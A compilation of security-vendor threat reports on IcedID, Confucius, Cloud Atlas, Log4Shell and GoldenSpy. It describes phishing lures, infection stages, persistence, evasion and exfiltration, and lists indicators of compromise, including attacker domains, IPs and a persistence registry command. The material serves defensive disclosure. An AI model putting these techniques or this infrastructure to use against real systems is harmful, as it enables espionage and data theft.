| | NETWORK-ACTIVITY | DOMAIN | updaterweb.com | | NETWORK-ACTIVITY | DOMAIN | getstatpro.com | | NETWORK-ACTIVITY | IPv4 | 194.33.40.72 | | NETWORK-ACTIVITY | IPv4 | 5.149.253.45 | ## About the Report This report and the information therein contained are not subject to restrictions on sharing in its original form. Cluster25 is a cybersecurity research division. Its experts are specialized in hunting and collecting cyber threats, analysis, and reverse-engineering processes. Cluster25’s members internally develop technologies and capabilities for attribution practices, classification, and categorization of malicious artifacts, often before being used in operations.
# Spoofed Invoice Used to Drop IcedID March 28, 2022 Spearphishing crafted with industry-specific terms derived from intelligence gathering techniques to trick a recipient into opening a file is especially difficult to identify. This is especially true when an adversary has knowledge of how a business works and the processes that underpin it. Using this knowledge, a lure can be crafted that takes advantage of these day-to-day processes – for example, settling the cost of a fuel transaction. FortiGuard Labs recently encountered such a scenario, where a fuel company in Kyiv, Ukraine received a spearphishing e-mail that contained an attached invoice—seemingly from another fuel provider—that was spoofed. The attachment is a zip file that contains the IcedID Trojan. IcedID has been observed as far back as 2017. Its primary function is to steal banking credentials and personal information. It is also capable of deploying additional malware from the same group or partner organizations. This instance also uses an interesting deployment method. It uses the ISO format, which is mounted automatically as a disk in Windows. ISO files can also be used to create bootable CD-ROMs or install an operating system or virtual machine. It also contains a LNK (shortcut file) used to launch a DLL (Dynamic-link Library). This blog details the infection process and subsequent malware deployment by the threat actors behind IcedID. **Affected Platforms:** Windows **Impacted Users:** Windows users **Impact:** Compromised machines are under the control of the threat actor **Severity Level:** Medium ## The Phishing E-mail The e-mail originated from an IP address in Belize, at 179.60.150.96. It spoofs the originating e-mail address to appear to have been sent from another fuel provider in Ukraine. The e-mail contains both English and Ukrainian elements and looks realistic given the mention of extra security measures regarding the attachment. Attached to the e-mail is a file named “invoice_15.zip”. Extracting the Zip file will drop “invoice_15.iso” and begin the first phase of infection. ### ISO Windows is capable of mounting ISO files as external disks. Doing so will present the user with a shortcut called “document.” In most cases, the file extension will be hidden from the user, making it appear as an actual document. When the full contents of the ISO container are revealed, a DLL file can also be seen. ### LNK As seen in the shortcut details, the shortcut file was created some time prior to the sending of the phishing e-mail. Additionally, the highlighted area shows what will occur should the shortcut be clicked on by a user. In this case, Regsvr32 is used to register “main.dll” with the Windows registry and launch the code contained within. This action begins the next phase of infection. ### Dropper “main.dll” acts as a dropper for IcedID. Static analysis of the file reveals an interesting point. What appears at first glance to be an easy win for IOCs (Indicators of Compromise) because it contains a domain and IP address, turns out to be slightly more complicated. In comparing the area of code where the strings are stored, we find that this area is not called by any functions within “main.dll”. This indicates that it is referenced elsewhere in the code. The strings, however, do not include this information, indicating they are not. By investigating further, the story becomes even more interesting. This code appears in a StackOverflow question from approximately 10 years ago concerning an issue about downloading an image over HTTP. It should be noted that there is no malicious intent with the content of that posting. That it is now part of “main.dll” indicates it is a decoy for analysts in the hope the actual indicators won’t be blocked. As can be seen, once running, the malware uses several Windows command-line tools to obtain information about the local environment. These include capturing the local IP address (ipconfig), enumerating domain trusts (nltest), and capturing a list of domain administrators (net group), among others. The sample then tries to communicate outbound to a command and control (C2) server. There are multiple addresses the malware can connect to in the event one of the destinations becomes unavailable. If a connection to a C2 server has been made, the malware then moves to ensure persistence. It installs a copy of itself in the user’s temp directory, “%APPDATA%\local\temp”. ## Conclusion Threat actors that are knowledgeable of their targets are able to increase their chances of installing an implant within an organization. Based on our observations, the efforts used in this IcedID attack highlight the group's methodical effort, as evidenced by their research of Ukraine's retail fuel industry. Additionally, the use of uncommon deployment methods (zipped ISO file) to establish a foothold—and ultimately gain persistence within an organization—reveals how crafty the threat actors are able to be to obtain unauthorized access. ## Fortinet Protections All IcedID samples mentioned in this blog are detected by the following (AV) signatures: - W32/Kryptik.HOTN!tr - W64/Kryptik.CXY!tr - LNK/IceID.AW!tr All network-based URIs are blocked by the WebFiltering client. Fortinet has multiple solutions designed to help train users to understand and detect phishing threats: The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks. In addition to these protections, we suggest that organizations also have their end users go through our FREE NSE training: NSE 1 – Information Security Awareness. It includes a module on Internet threats that is designed to help end users learn how to identify and protect themselves from various types of phishing attacks. ## IOCs | Filename | SHA256 | |---------------------|------------------------------------------------------------------------| | invoice_15.zip | 83bd20009107e1f60479016046b80d473436d3883ad6989e5d42bc08e142b5bb | | invoice_15.iso | 3542d5179100a7644e0a747139d775dbc8d914245292209bc9038ad2413b3213 | | document.lnk | a17e32b43f96c8db69c979865a8732f3784c7c42714197091866473bcfac8250 | | main.dll | 698a0348c4bb8fffc806a1f915592b20193229568647807e88a39d2ab81cb4c2 | | Arur.exe | 283d5eea1f9fc34e351deacc25006fc1997566932fae44db4597c84f1f1f3a30 | **Network IOCs:** - 160.153.32.99 - 160.90.198.40 - yourgroceries.top - ssddds1ssd2.com - ip-160-153-32-99.ip.secureserver.net Thanks to Val Saengphaibul and Fred Gutierrez who helped contribute to this blog.
# Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military **August 17, 2021** Figure 1. Spear-phishing email from early August. Notice the insertion of logos from the Pakistani Army, Air Force, Navy, and PR department. If the target clicks on either the link or on the “unsubscribe” link, it will download a Word document from the domain parinari[.]xyz. The emails are sent either from an ExpressVPN exit node in Pakistan, or from a mail server under the attacker’s control. ## Examining the Encrypted Document Containing Macros After entering the password mentioned in the message, a document containing macros is displayed on screen. Figure 2. Malicious document containing macros. If the victim enables macros, the malicious code will be loaded. If the victim enters any phone number and clicks “SUBMIT,” the text field will be replaced by the message “Phone Number Not Found.” Behind the scenes, a .NET DLL file named skfk.txt, which is filled with content found inside the “Comments” property of the document, is created in the temporary directory. The file is then loaded in memory via PowerShell. **Stage 1** is a simple download & execute program. It downloads an ASCII file from the same domain and converts it into binary before loading it into memory and jumping to a dynamic function. **Stage 2** is also a .NET DLL file that downloads a third file from parinari[.]xyz, converts it from ASCII to binary, and then creates a scheduled task to load it. **Stage 3** is similar to stage 1, with the only change being the URL to retrieve the next stage. **Stage 4** is the final payload (analyzed in the next section). It is never written in clear text to the file disk. Figure 3. File stealer loading scheme. It should be noted that most of the compilation timestamps of these DLL files have been modified by the attacker to a year in the far future (2060, 2099 …), and the server IP addresses are often hidden behind CloudFlare. ## Analysis of the File Stealer The final payload is a .NET DLL file designed to steal documents and images with the following extensions: | File Extension | Description | |----------------|-------------| | TXT | Text file | | PDF | PDF file | | PNG | Image file in PNG format | | JPG | Image file in JPG format | | DOC | Word document | | XLS | Excel document | | XLM | Excel document with macros | | ODP | OpenDocument Presentation | | ODS | OpenDocument Sheet | | ODT | OpenDocument Text | | RTF | Rich Text Format file | | PPT | PowerPoint document | | XLSX | Excel document | | XLSM | Excel document with macros | | DOCX | Word document | | PPTX | PowerPoint document | | JPEG | Image file in JPEG format | The “Documents,” “Downloads,” “Desktop,” and “Pictures” folders of every user are checked. The DLL file also examines drives other than C:. Figure 4. Code showing the main function of the file stealer. When a file matching one of the listed extensions is found, its MD5 hash is calculated and compared to an exclusion list retrieved from the command-and-control (C&C) server pirnaram[.]xyz. If the hash is not listed, the file is sent via the C&C to a directory named after the concatenation of the machine name and the username. The exclusion list is different for every machine name-username string. ## Other Campaigns During our monitoring of Confucius, we came across a campaign delivering the same payload, using a different lure. In this instance, the campaign impersonated the Pakistani Defense Housing Authority. Again, this threat actor’s interest in military personnel is obvious. Figure 5. Spear-phishing email from early August. The lures used in an older campaign from April 2021 impersonated the Federal Board of Revenue. There were minor differences in tools, tactics, and procedures: the malicious document was directly attached to the spear phishing email — still encrypted — and the decryption password was sent in a different email. The first stage was also hidden in the “Comments” section. However, the second stage contained the final payload, which was once again a file stealer with the exact same structure (a .NET DLL). Instead of exfiltrating the files through PHP scripts, they were done via FTP server. It should be noted that on some occasions, the threat actor sent spear-phishing emails from the domain name mailerservice[.]directory, which we attributed to the Patchwork threat actor in previous research. We disclosed multiple links between Patchwork and Confucius threat actors in the past, so this came as no surprise to us. ## The Creative Use of Social Engineering Lures and How to Defend Against Them In our previous research, we already found Confucius, which is known for targeting the Pakistan military for espionage purposes, employing multiple file stealers. While the code quality of its payloads is not of the highest standard, this threat actor uses innovative techniques when crafting its malicious documents, such as hiding malicious code in the comments section or using encrypted documents to prevent automatic analysis. Therefore, it’s highly likely that Confucius will continue to experiment and try out different kinds of social engineering lures in future campaigns. Despite the variety of lures used by the threat actor, best security practices still apply to these attacks. Users should always be wary and avoid clicking on any link or downloading any file from unsolicited emails or suspicious sources. Red flags such as unusual sender domains or grammatical and spelling errors are also a sign that the email is malicious in nature, or at the very least, should be approached with proper security protocols in mind. The following security solutions can also protect users from email-based attacks: - **Trend Micro™ Cloud App Security** – Enhances the security of Microsoft Office 365 and other cloud services via computer vision and real-time scanning. It also protects organizations from email-based threats. - **Trend Micro™ Deep Discovery™ Email Inspector** – Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks. ## Indicators of Compromise Hashes of the malicious encrypted documents: | SHA256 | Detection Name | |--------|----------------| | dacf7868a71440a7d7d8797caca1aa29b7780801e6f3b3bc33123f16989354b2 | Trojan.W97M.CONFUCIUS.A | | 0f6bcbdf4d192f8273887f9858819dd4690397a92fb28a60bb731c873c438e07 | Trojan.W97M.CONFUCIUS.B | | 508bcc1f3906f5641116cde26b830b43f38f9c68a32b67e03a3e7e3f920b1f4a | Trojan.W97M.CONFUCIUS.B | | 654c7021a4482da21e149ded58643b279ffbce66badf1a0a7fc3551acd607312 | Trojan.W97M.CONFUCIUS.C | | 712172b5b1895bbfcced961a83baa448e26e93e301be407e6b9dc8cb6526277f | Trojan.Win32.DLOADR.TIOIBELQ | ## URLs/Domains/IP Addresses - **Server hosting malicious documents**: parinari[.]xyz - **Server used for file exfiltration**: pirnaram[.]xyz - **Domain names linked to other campaigns**: - pemra[.]email - ispr[.]email - fbr[.]news - defencepk[.]email - pakistanarmy[.]email - pmogovpk[.]email - mailerservice[.]directory - file-dnld[.]com - funtifu[.]live - cnic-update[.]com - cnic-ferify[.]live - fbr-update[.]com - download.fbr[.]tax - support-team[.]tech - api.priveetalk[.]com ## Sender Email Addresses - [email protected] - [email protected] - [email protected] - [email protected] **By: Daniel Lunghi** **August 17, 2021**
# Recent Cloud Atlas Activity Also known as Inception, Cloud Atlas is an actor that has a long history of cyber-espionage operations targeting industries and governmental entities. We first reported Cloud Atlas in 2014 and we’ve been following its activities ever since. From the beginning of 2019 until July, we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia, Central Asia, and regions of Ukraine with ongoing military conflicts. ## Countries Targeted by Cloud Atlas Recently Cloud Atlas hasn’t changed its TTPs (Tactic Tools and Procedures) since 2018 and is still relying on its effective existing tactics and malware in order to compromise high-value targets. The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to target high-profile victims. These emails are crafted with Office documents that use malicious remote templates – whitelisted per victims – hosted on remote servers. We described one of the techniques used by Cloud Atlas in 2017, and our colleagues at Palo Alto Networks also wrote about it in November 2018. Previously, Cloud Atlas dropped its “validator” implant named “PowerShower” directly, after exploiting the Microsoft Equation vulnerability (CVE-2017-11882) mixed with CVE-2018-0802. During recent months, we have seen a new infection chain, involving a polymorphic HTA, a new and polymorphic VBS implant aimed at executing PowerShower, and the Cloud Atlas second stage modular backdoor that we disclosed five years ago in our first blog post about them and which remains unchanged. ## Let’s Meet PowerShower PowerShower, named and previously disclosed by Palo Alto Networks, is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage. The differences in the two versions reside mostly in anti-forensics features for the validator version of PowerShower. The PowerShower backdoor – even in its later developments – takes three commands: | Command | Description | |---------|-------------| | 0x80 (Ascii “P”) | It is the first byte of the magic PK. The implant will save the received content as a ZIP archive under %TEMP%\PG.zip. | | 0x79 (Ascii “O”) | It is the first byte of “On resume error”. The implant saves the received content as a VBS script under “%APPDATA%\Microsoft\Word\[A-Za-z]{4}.vbs” and executes it by using Wscript.exe. | | Default | If the first byte doesn’t match 0x80 or 0x79, the content is saved as an XML file under “%TEMP%\temp.xml”. After that, the script loads the content of the file, parses the XML to get the PowerShell commands to execute, decodes them from Base64, and invokes IEX. After executing the commands, the script deletes “%TEMP%\temp.xml” and sends the content of “%TEMP%\pass.txt” to the C2 via an HTTP POST request. | A few modules deployed by PowerShower have been seen in the wild, such as: - A PowerShell document stealer module which uses 7zip (present in the received PG.zip) to pack and exfiltrate *.txt, *.pdf, *.xls, or *.doc documents smaller than 5MB modified during the last two days. - A reconnaissance module which retrieves a list of the active processes, the current user, and the current Windows domain. Interestingly, this feature is present in PowerShower, but the condition leading to the execution of that feature is never met in the recent versions of PowerShower. - A password stealer module which uses the open-source tool LaZagne to retrieve passwords from the infected system. We haven’t yet seen a VBS module dropped by this implant, but we think that one of the VBS scripts dropped by PowerShower is a dropper of the group’s second stage backdoor documented in our article back in 2014. ## And His New Friend, VBShower During its recent campaigns, Cloud Atlas used a new “polymorphic” infection chain relying no more on PowerShower directly after infection, but executing a polymorphic HTA hosted on a remote server, which is used to drop three different files on the local system: - A backdoor that we name VBShower which is polymorphic and replaces PowerShower as a validator. - A tiny launcher for VBShower. - A file computed by the HTA which contains contextual data such as the current user, domain, computer name, and a list of active processes. This “polymorphic” infection chain allows the attacker to try to prevent IoC-based defense, as each code is unique by victim so it can’t be searched via file hash on the host. The VBShower backdoor has the same philosophy as the validator version of PowerShower. Its aim is to complicate forensic analysis by trying to delete all the files contained in “%APPDATA%\..\Local\Temporary Internet Files\Content.Word” and “%APPDATA%\..\Local Settings\Temporary Internet Files\Content.Word\”. Once these files have been deleted and its persistence is achieved in the registry, VBShower sends the context file computed by the HTA to the remote server and tries to get via HTTP a VBS script to execute from the remote server every hour. At the time of writing, two VBS files have been seen pushed to the target computer by VBShower. The first one is an installer for PowerShower, and the second one is an installer for the Cloud Atlas second stage modular backdoor which communicates to a cloud storage service via Webdav. ## Final Words Cloud Atlas remains very prolific in Eastern Europe and Central Asia. The actor’s massive spear-phishing campaigns continue to use its simple but effective methods in order to compromise its targets. Unlike many other intrusion sets, Cloud Atlas hasn’t chosen to use open-source implants during its recent campaigns, in order to be less discriminating. More interestingly, this intrusion set hasn’t changed its modular backdoor, even five years after its discovery. ## IoCs Some emails used by the attackers: - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] VBShower registry persistence: - Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[a-f0-9A-F]{8} - Value: wscript //B “%APPDATA%\[A-Za-z]{5}.vbs” VBShower paths: - %APPDATA%\[A-Za-z]{5}.vbs.dat - %APPDATA%\[A-Za-z]{5}.vbs - %APPDATA%\[A-Za-z]{5}.mds VBShower C2s: - 176.31.59.232 - 144.217.174.57
# Log4Shell: No Mass Abuse, But No Respite, What Happened? **Chester Wisniewski** *January 24, 2022* Sometimes, when a software crisis doesn’t cause the kind of devastation everyone expects, it is because there may not have been a crisis in the first place. That is not the case with the Log4Shell vulnerability found in the widely used Apache Log4J software in early December 2021. Even though the world hasn’t seen the feared mass exploitation of the vulnerability, the Log4Shell bug, buried deep in many digital applications and products, will likely be a target for exploitation for years to come. Sophos believes that the immediate threat of attackers mass exploiting Log4Shell was averted because the severity of the bug united the digital and security communities and galvanized people into action. This was seen back in 2000 with the Y2K bug, and it seems to have made a significant difference here. As soon as details of the Log4Shell bug became clear, the world’s biggest and most important cloud services, software packages, and enterprises took action to steer away from the iceberg, supported by shared threat intelligence and practical guidance from the security community. Like others across the security industry, Sophos has continued to track and monitor the threat. It is worth taking stock of how things have unfolded since Dec. 9, 2021; what we know now and what we anticipate for the future. ## Scanning the Scanners Sophos telemetry on scans for exposed instances of Log4J reveals a typical pattern for a newly reported vulnerability. In the first few days, the volume of scans was moderate, reflecting the early development of Proof-of-Concept exploits and preliminary online scanning for exploitable systems. Within a week, there was a significant increase in scan detections, with numbers peaking between Dec. 20 and Dec. 23, 2021. These numbers will undoubtedly include successful but not yet identified exploitations, opportunistic cryptominers, nation-state supported threat actors, and other cybercriminals looking to find and breach targets. However, it is also worth noting that during these days in late December, many security companies were still open for business before the holidays and were actively monitoring the landscape. In other words, the numbers simply confirm that a great many people, with good or bad intentions, were trying to gauge how vulnerable others were to the threat by looking for the number of potentially exposed systems. Another factor to consider when evaluating the scanning numbers is that a Log4Shell type of flaw is exploited differently based on which application the Log4J code is in and how it has been integrated with that application. This results in a high volume of redundant scans trying different ways to exploit different applications. From late December through January 2022, however, the curve of attack attempts flattened out and declined. This doesn’t mean the threat level declined too: by this time, an ever-greater percentage of detections were likely real attacks, with fewer coming from researchers monitoring the latest patching status. ## Limited Mass Exploitation The overall number of successful attacks to date remains lower than expected. Evidence for this can be found on the frontline. The Sophos Managed Threat Response Team (MTR) notes that while the team has detected many scans and attempts to trigger the Log4Shell exploit, by early January 2022 only a handful of MTR customers faced attempted intrusions where Log4j was determined to be the initial entry point. The majority of these were cryptominers. Another possible reason for the limited mass exploitation could be the need to customize the attack to each application that includes the vulnerable Apache Log4J code. At one end of the scale are the incredibly widely used applications that are exposed to the internet and which need to be manually updated, one by one. These are being exploited at scale in an automated fashion. An example of such an application is VMware Horizon. The first intrusion seen by Sophos MTR that leveraged Log4Shell involved VMware Horizon. At the other end of the scale are many other, more obscure applications involving Apache Log4J that will take time to be discovered and exploited by attackers. These attacks will proceed at a human pace and won’t result in giant spikes of activity, although they will still present a significant risk to organizations that remain vulnerable. ## The Geography of Attack Attempts: Then and Now Sophos geolocation telemetry from when the bug was reported on Dec. 9, 2021, to the end of the year, and for the first two weeks of January 2022 shows some interesting variations in the sources of attack attempts and scans. Looking at the map for December, it is worth noting that the top countries, including the U.S., Russia, and China, as well as countries in Western Europe and Latin America, generally have large populations and a significant, skilled cybersecurity workforce. Many also have well-established digital infrastructure and are popular internet hosting hubs. For example, the heavy weighting of the U.S. and Germany in the geolocation IP source data likely reflects the large data centers that are based there and operated by Amazon, Microsoft, and Google, among others. This picture changes dramatically in early 2022, as detections of mass scanning give way to indicators of more detailed probing and exploitation. The most noticeable difference between the two maps is how the early dominance of Russia and China appears to have diminished by January. Sophos intelligence suggests that this reflects an apparent decline in the number of attack attempts by a small number of highly aggressive cryptominers based in these regions. It’s important to note that there may not be a relationship between the source IPs that are scanning or exploiting the vulnerability and the actual location of those who are generating the traffic. A better view might be the destination of the callbacks. ## The Geography of Call Back Destinations Like the source IP data, Sophos has captured callback destinations relating to Log4Shell for the end of 2021 and the beginning of 2022. There are fewer variations over time, but the overall picture is very different from that of the IP source location. The data shows the top destinations worldwide that vulnerable (unpatched) devices are reaching out to in order to retrieve a Java payload or to dump information extracted from the machine, such as AWS security keys or other variables. While the U.S. remains a top contender, this view brings India into the number one position and highlights Turkey, Brazil, and even Australia. It is difficult to speculate as to why these regions are top destinations for callbacks. One reason might be that these countries have many active participants in bug bounty programs, hoping to earn money by being the first to alert organizations that they are exposed. ## The Threat Remains Just because we’ve steered around the immediate iceberg, that doesn’t mean we’re clear of the risk. As others have pointed out, some of the initial attack scans may have resulted in attackers securing access to a vulnerable target, but not actually abusing that access to deliver malware, for instance – so the successful breach remains undetected. In the past, Sophos has observed countries such as Iran and North Korea pounce on VPN vulnerabilities to gain access to targets’ networks and install backdoors before the targets have had a chance to deploy the patches, and then waiting months before using that access in an attack. In another example, attackers targeted vulnerable Exchange servers in the immediate aftermath of the first ProxyLogon patches, leaving behind web shells as backdoors for later attacks. Patching your Exchange server wasn’t enough; you also had to remove any backdoors that were dropped. There’s more. Over time, internet-facing applications vulnerable to a Log4Shell exploit are likely to be identified, patched, or removed. However, unknown internally vulnerable systems may never be known or discovered, and these will remain a security risk. Sophos telemetry shows that the number of vulnerable Java Archive files (JAR) on Sophos protected endpoints hasn’t changed. These could become a favorite tool for malicious lateral movement down the road. ## Conclusion Sophos believes that attempted exploitation of the Log4Shell vulnerability will likely continue for years and will become a favorite target for penetration testers and nation-state supported threat actors alike. The urgency of identifying where it is used in applications and updating the software with the patch remains as critical as ever.
# Trustwave SpiderLabs Investigation: The Golden Tax Department and Emergence of GoldenSpy Malware ## How Required Tax Software Provides a Hidden Backdoor into Victim Networks Trustwave SpiderLabs’ investigation into the GoldenSpy malware campaign targeting companies operating in China. --- ### GoldenSpy Threat Report Highlights - Trustwave SpiderLabs has identified a new threat targeting corporations conducting business in China. The victim company is required to install software that will enable payment of local taxes. However, a backdoor is hidden within the software package that provides full remote command and control of the victim system, enabling arbitrary remote execution of code, and a remote shell. - Through the course of this investigation, we discovered several variations of this backdoor. The first version has a compilation timestamp in 2016 but it does not appear to have been analyzed or categorized prior to 2020. As a service to the security community, we are providing full malware analysis as part of this report and we have named this malware family “GoldenSpy”. - The hidden GoldenSpy backdoor (svm.exe) is covertly downloaded two hours after the Aisino Intelligent tax software installation is completed. It calls out to a Chinese domain with a reputation of distributing variations of GoldenSpy. Svm.exe exfiltrates basic system information and continuously beacons to a remote server for “updates.” This “update” functionality enables remote execution of arbitrary code and provides remote command execution capability. - Trustwave SpiderLabs believes that this threat became active in April of 2020, when the ningzhidata[.]com domain first delivered the current version of GoldenSpy. The domain was registered on 22 September 2019. - Trustwave SpiderLabs was engaged for a threat hunt shortly after our client was compromised, enabling us to disrupt the potential attack early in the kill chain. For this reason, we were not able to gather sufficient TTPs to confidently attribute GoldenSpy to a specific threat actor group. Therefore, we will refrain from claiming attribution in this report. - The full scope of this threat is currently unknown, but our client reported that installation of this software was required by their Chinese bank as a prerequisite to paying local Chinese taxes. We believe that all corporations with Chinese operations should investigate for presence of GoldenSpy and remediate if necessary. - This report provides identified IOCs (Indicators of Compromise), as well as IOCs known to be associated with the network architecture used with this threat. We have also provided specific hunting, investigative, and remediation methodologies that can be used to ensure your environment is clean. --- ### A Note First Trustwave SpiderLabs has confirmed that, as of April 2020, the GoldenSpy backdoor is embedded in the Aisino Intelligent Tax software suite and that it has impacted corporations doing business in China. We do not yet know the scope, purpose, or actors behind the threat. Has it impacted hundreds of customers, or just a few? Is it designed to compromise networks and exfiltrate data or was it just a very poorly designed updater? Is this a Nation-State sponsored threat campaign, was it planted by a malicious insider at the software design company, or even by an unknown adversary external to the company? These are all questions that we have wrestled with as we wrote this report. The GoldenSpy campaign, as detailed in this report, has the characteristics of a coordinated Advanced Persistent Threat (APT) campaign targeting foreign companies operating in China. However, we cannot definitively know why this malware is present because we caught it early in the kill chain and we have no way to discern answers to the key questions: who (is behind this activity), what (data is being targeted), and why (these actions were taken). In this report, we have carefully crafted our language to not claim more than we can confirm with the facts. However, we can clearly say that, at best, presence of GoldenSpy will violate compliance requirements for most regulatory agencies and surrender command and control of infected systems to an unknown remote adversary. At worst, we have identified an APT campaign targeting companies operating in China and professional hackers now have a wide-open backdoor into impacted networks. At this point, we cannot confirm one way or the other. However, we are still actively investigating and seeking out more information. If you have any information about this activity or feel you may have been victimized by this attack, please reach out to Trustwave SpiderLabs at [email protected]. We are available for advice, information exchange, or to engage threat hunting / forensic investigation services. Thank you, Trustwave SpiderLabs --- ### The Golden Tax Department and the Emergence of GoldenSpy Malware #### Story of the Threat Trustwave SpiderLabs, during a recent threat hunting engagement, discovered a Chinese cyber threat targeting corporations operating in China. This report details the attack methodology, suspected entities behind the activity, and protective measures to mitigate risk of being impacted. The following series of events detail the threat. 1. Our client, a global technology vendor, upon opening operations in China was advised by their Chinese bank that they were required to install a software suite that would enable payment of local taxes. Utilizing this software was a requirement for them to conduct business in China. 2. The tax software suite, “Intelligent Tax” produced by the Golden Tax Department of Aisino Credit Information Co. conducts tax operations, as expected. However, it also covertly downloads and executes a file called svminstaller.exe, which installs two identical executables called svm.exe and svmm.exe (GoldenSpy MD5: 2c5557250cbd3f7ff3f778aa4fc6e479) from download.ningzhidata[.]com and installs them in: C:\Program Files\svm. Both establish persistence by running silently in the background as autostart services. 3. Svm.exe gathers system information and exfiltrates it to www.ningzhidata[.]com on port 9006. The malware maintains persistence by monitoring itself and if the process is stopped, it will respawn. Additionally, it sends requests to a remote server to update itself (a method to execute additional operations), and it stands open as a backdoor into the environment enabling the command and control server to upload and execute arbitrary code or commands with System privileges. The Trustwave SpiderLabs threat hunt identified and disrupted the potential attack at this point, so we are unable to state specific next steps that may have been taken, however, it is clear the operators would have had the ability to conduct reconnaissance, spread laterally, and exfiltrate data. Additionally, there are several key elements to svm.exe that stand out as unusual: 1. Both svm and svmm are installed as autostart services, and if either is killed, they will respawn each other. Additionally, static analysis showed the exeprotector module monitors both svm and svmm to see if either are missing (deleted), if so, it downloads and executes a new version. Triple-layer persistence functionality is not normal for tax software. 2. The uninstall functionality for the tax software will not uninstall svm or svmm. It leaves them running as an open backdoor into the environment, even after the tax software is removed. 3. The tax software installation process creates and executes a binary called plugin.exe. After a two-hour delay, plugin.exe downloads and silently executes svminstall.exe, which installs svm.exe and svmm.exe. The 2-hour delay in this process is highly unusual and may be to ensure the covert installation is not identified by the victim. 4. Svm.exe does not contact the tax software’s network infrastructure (i-xinnuo[.]com), rather it reaches out to ningzhidata[.]com, a domain known to host GoldenSpy. After the first three attempts to contact its command and control server, it randomizes beacon times. This is a method to avoid network security technologies designed to identify beaconing malware. 5. Svm.exe operates with System level privileges, making it highly dangerous and capable to execute any tool on the system. This includes separate malware or Windows administrative tools to conduct reconnaissance, create new users, escalate privileges, etc. 6. Svm.exe sends the basic operating system information to the remote domain and constantly attempts to download and execute files from ningzhidata[.]com. While we did not observe a file being downloaded, it will execute anything a potential attacker wishes to upload, including trojans or ransomware. Based on the facts presented above, Trustwave SpiderLabs believes that this supposed updater is a significant threat to anyone required to utilize this tax software. Especially considering that the Golden Tax software already contains a valid update mechanism, not related to svm.exe. --- ### Associated Indicators of Compromise #### Ningzhidata[.]com Associated IOCs Trustwave SpiderLabs threat intelligence has tracked several additional suspect files that have been hosted by, or are known to communicate with ningzhidata[.]com, www.ningzhidata[.]com or download.ningzhidata[.]com. We believe that all of these files should be proactively blocked and could indicate existence of this threat. | SHA-256 HASH | CREATION DATE | REPORTED NAME | VIRUSTOTAL FINDING RATE | CALLOUTS | |--------------|---------------|----------------|-------------------------|----------| | 3b8761d2e19bc5185f55cc2f5 | 2016-12-19 | svm.exe | 53/73 | www.ningzhidata[.]com | | 75bbe54a45a52fc1c8650a60f | 15:41:22 | Remote Access | ningzhidata[.]com | | 1bd13e01e24655 | | Trojan | 49.232.156.177, 40.81.188.85, 110.110.110.0, 42.56.76.93, 124.152.41.85, 59.83.204.14, 110.110.110.1 | | 4f86175e5500be87cc95ea9fc | 2016-12-19 | IDG-MINZONGV1.0-20200310.exe | 41/72 | www.ningzhidata[.]com | | af565970e15a86b2aa3223f8ef | 15:41:22 | Remote Access | ningzhidata[.]com | | 8d25e72cec376 | | Trojan | 49.232.156.177, 110.110.110.0, 110.110.110.1 | | c5c5e59bb18bad1427714d00 | 2016-12-19 | IDG-NJCKV1.0-20200320.exe | 41/72 | www.ningzhidata[.]com | | 07b676e658d8e08faf5a0632e | 15:41:22 | Remote Access | ningzhidata[.]com | | d88912f5816d525 | | Trojan | 49.232.156.177, 110.110.110.1, 110.110.110.0 | | 41103f32f247ba744a8fbe17de | 2016-12-19 | SVMV1.0-20200310.exe | 41/72 | www.ningzhidata[.]com | | ac4bd26aeba323f3161e44adc | 15:41:22 | Remote Access | ningzhidata[.]com | | 35f8dd81ce4d3 | | Trojan | 49.232.156.177, 110.110.110.1, 110.110.110.0 | | afcc4ccc4ac0f1eaded6fc2ea7 | 2020-05-14 | svminstall.exe.zip | 41/63 | ningzhidata[.]com | | 04f4e9650942fc31772815067 | 01:29:22 | Zip archive containing malicious code | 223.112.21.2 | | 39b914c8064becf3df1df39b05 | 2020-03-27 | usv.exe | 8/70 | www.ningzhidata[.]com | | 17bda05371e90b8b5fe15aad2 | 03:12:24 | Remote Access | 49.232.156.177 | | 75faac634876f | | Trojan | 49.232.156.177 | | 77ee7b0a10f3c0ab08c1b1f88c | 2016-12-19 | IDG-FEILONGV1.0-20200310.exe | 43/73 | www.ningzhidata[.]com | | eb0dd979e9c2fee17ac5fd14c9 | 15:41:22 | Remote Access | ningzhidata[.]com | | ce27002f6078 | | Trojan | 49.232.156.177, 110.110.110.0, 110.110.110.1 | | 2f65238e7b3a8ddd719fb19a5 | 2020-05-07 | svminstall.exe.zip | 41/62 | ningzhidata[.]com | | 06cd1d964fc7b5cab6f3f4e952 | 22:21:26 | Zip archive containing malicious code | 223.112.21.2 | | 853ef8130b50e9fce5f7575afc | 2020-03-27 | usv.exe | 10/73 | www.ningzhidata[.]com | | 04374de0232fa5fe6b7b4d97fd | 03:06:51 | Remote Access | 49.232.156.177 | | a7bf17ec58c9 | | Trojan | 49.232.156.177 | | 98b5320e7464fc69b12eb626b | 2020-03-27 | usv.exe | 10/73 | www.ningzhidata[.]com | | 6336604efcbf6502adc38c77f6 | 02:24:01 | Remote Access | 49.232.156.177 | | db41666da9dd1 | | Trojan | 49.232.156.177 | | afe2bcd5cb2de6349329c4263 | 2020-03-27 | usv.exe | 9/71 | www.ningzhidata[.]com | | 1bfbbdba46d672f6dc515a5be | 03:17:53 | Remote Access | 49.232.156.177 | | e63cb4265e49f8 | | Trojan | 49.232.156.177 | | ffbeaa5947fc467fce27c765a4e | 2016-12-19 | svm.exe | 36/71 | www.ningzhidata[.]com | | 8dc08e45c8ca13e583f5271b1 | 15:41:22 | Remote Access | ningzhidata[.]com | | 9e944e0cb8e3 | | Trojan | 49.232.156.177, 110.110.110.0 | | 20932b2151de5f0dc5c1159fbc | 2016-12-19 | svminstall.exe | 39/71 | www.ningzhidata[.]com | | 1d2d004f069bb04d32d66dc7f | 15:41:22 | Remote Access | ningzhidata[.]com | | a5b7b9eac1aa7 | | Trojan | 49.232.156.177, 110.110.110.1 | 